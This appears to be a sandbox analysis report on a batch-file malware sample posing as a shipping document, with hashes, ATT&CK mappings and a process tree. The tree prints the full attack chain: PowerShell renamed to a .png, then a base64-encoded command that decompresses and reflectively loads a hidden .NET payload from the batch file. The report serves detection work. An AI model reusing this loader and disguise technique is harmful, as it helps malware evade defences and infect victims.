e9ce85db6dc343245a12b0ac30190c5e9944a42e865aa3f5ea3b41a5d65c8137

General

Target

AW87438991 Shipping Document of goods.bat
Size

865KB
MD5

722f1c5eef20be0cc0c13609a32fbcf0
SHA1

95ea04e0671acf23dfb0a8937feedb193d8c1db9
SHA256

c6cd9239769abc6280231e68ea19720889e64068fb5a347629755be0c6e735ae
SHA512

76545545417f959ad191e1d55194354d4e941008943062d6b48c42c6b2cbfd7669b747601423e6f6a0a59ad45959f569c8b8c7a3115404567b8bfcc402d4dafe
SSDEEP

24576:TmsLDIDisDkpyOiisSniF83PQmM4pPx8fkr:asiXDklDQ83PVRRr

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

Mskestde.png

pid process

2164 Mskestde.png
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2776 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Mskestde.png

pid process

2164 Mskestde.png
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Mskestde.png

description pid process

Token: SeDebugPrivilege 2164 Mskestde.png

pid	process
2164	Mskestde.png

pid	process
2776	cmd.exe

pid	process
2164	Mskestde.png

description	pid	process
Token: SeDebugPrivilege	2164	Mskestde.png

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2628 wrote to memory of 2776	2628	cmd.exe	cmd.exe
PID 2628 wrote to memory of 2776	2628	cmd.exe	cmd.exe
PID 2628 wrote to memory of 2776	2628	cmd.exe	cmd.exe
PID 2776 wrote to memory of 744	2776	cmd.exe	cmd.exe
PID 2776 wrote to memory of 744	2776	cmd.exe	cmd.exe
PID 2776 wrote to memory of 744	2776	cmd.exe	cmd.exe
PID 2776 wrote to memory of 2624	2776	cmd.exe	xcopy.exe
PID 2776 wrote to memory of 2624	2776	cmd.exe	xcopy.exe
PID 2776 wrote to memory of 2624	2776	cmd.exe	xcopy.exe
PID 2776 wrote to memory of 2688	2776	cmd.exe	cmd.exe
PID 2776 wrote to memory of 2688	2776	cmd.exe	cmd.exe
PID 2776 wrote to memory of 2688	2776	cmd.exe	cmd.exe
PID 2776 wrote to memory of 2984	2776	cmd.exe	xcopy.exe
PID 2776 wrote to memory of 2984	2776	cmd.exe	xcopy.exe
PID 2776 wrote to memory of 2984	2776	cmd.exe	xcopy.exe
PID 2776 wrote to memory of 2164	2776	cmd.exe	Mskestde.png
PID 2776 wrote to memory of 2164	2776	cmd.exe	Mskestde.png
PID 2776 wrote to memory of 2164	2776	cmd.exe	Mskestde.png

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat"
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:744

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Mskestde.png
3⤵
PID:2624

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
3⤵
PID:2688

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\AW87438991 Shipping Document of goods.bat" C:\Users\Admin\AppData\Local\Temp\Mskestde.png.bat
3⤵
PID:2984

C:\Users\Admin\AppData\Local\Temp\Mskestde.png
C:\Users\Admin\AppData\Local\Temp\Mskestde.png -win 1 -enc JABaAGMAZgBmAHAAaQB6AGUAawBzAG8AIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQAWABrAHQAeQBiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFoAYwBmAGYAcABpAHoAZQBrAHMAbwApADsAJABKAGQAbABvAHQAZQB4AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAFgAawB0AHkAYgAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABDAHIAYgBnAHcAbgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABKAGQAbABvAHQAZQB4AG0ALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEMAcgBiAGcAdwBuAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApADsAJABDAHIAYgBnAHcAbgAuAEMAbABvAHMAZQAoACkAOwAkAEoAZABsAG8AdABlAHgAbQAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAFgAawB0AHkAYgAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABYAGsAdAB5AGIAKQA7ACAAJABMAG0AaABtAGgAZQBwAHQAdgBqACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAFgAawB0AHkAYgApADsAIAAkAFMAbQBnAGUAZABxAGYAZQBvAHAAcgAgAD0AIAAkAEwAbQBoAG0AaABlAHAAdAB2AGoALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABXAHEAbABwAGkAZgB6ACAAPQAgACQAUwBtAGcAZQBkAHEAZgBlAG8AcAByAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Mskestde.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\Mskestde.png

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2164-9-0x000000001B140000-0x000000001B422000-memory.dmp

Filesize
2.9MB

Download
memory/2164-11-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-10-0x0000000001C80000-0x0000000001C88000-memory.dmp

Filesize
32KB

Download
memory/2164-12-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download
memory/2164-13-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2164-14-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2164-15-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2164-16-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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